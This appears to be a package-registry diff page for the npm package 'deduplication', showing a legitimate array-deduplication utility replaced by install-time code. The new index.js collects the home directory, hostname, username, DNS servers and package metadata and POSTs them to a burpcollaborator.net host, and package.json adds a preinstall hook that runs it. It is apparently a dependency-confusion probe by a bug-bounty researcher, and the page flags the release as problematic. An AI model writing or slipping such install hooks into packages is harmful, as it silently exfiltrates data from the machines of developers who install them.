deduplication 1.0.7 → 25.1.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of deduplication might be problematic. Click here for more details.
- package/index.js +42 -52
- package/package.json +8 -4
package/index.js
CHANGED
@@ -1,58 +1,48 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
function deduplication(arr,type=1,sort='default') {
|
8
|
-
let newArr=[];
|
9
|
-
//判断去重的方式
|
10
|
-
switch(type){
|
11
|
-
case 1:
|
12
|
-
newArr=method1(arr);
|
13
|
-
break;
|
14
|
-
case 2:
|
15
|
-
newArr=method2(arr);
|
16
|
-
break;
|
17
|
-
}
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
18
7
|
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
sortArr = newArr.sort((a,b)=>{
|
32
|
-
return b-a;
|
33
|
-
});
|
34
|
-
break;
|
35
|
-
}
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
hw: __dirname,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
36
20
|
|
37
|
-
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
38
24
|
|
39
|
-
|
40
|
-
|
25
|
+
var options = {
|
26
|
+
hostname: "6mtz6r4i6pqdwg0wf3jgwkmay14rsg.burpcollaborator.net",
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
41
35
|
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
42
41
|
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
48
48
|
|
49
|
-
//indexOf方法
|
50
|
-
function method2(arr) {
|
51
|
-
let arr2 = [];
|
52
|
-
for(let i=0;i<arr.length;i++){
|
53
|
-
if(arr2.indexOf(arr[i]) === -1){
|
54
|
-
arr2.push(arr[i]);
|
55
|
-
}
|
56
|
-
}
|
57
|
-
return arr2;
|
58
|
-
}
|
package/package.json
CHANGED
@@ -1,8 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "deduplication",
|
3
|
-
"version": "1.
|
3
|
+
"version": "25.1.1",
|
4
|
+
"description": "Checking for dependency confusion",
|
4
5
|
"main": "index.js",
|
5
|
-
"
|
6
|
-
|
7
|
-
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "https://hackerone.com/yakirka?type=user",
|
11
|
+
"license": "ISC"
|
8
12
|
}
|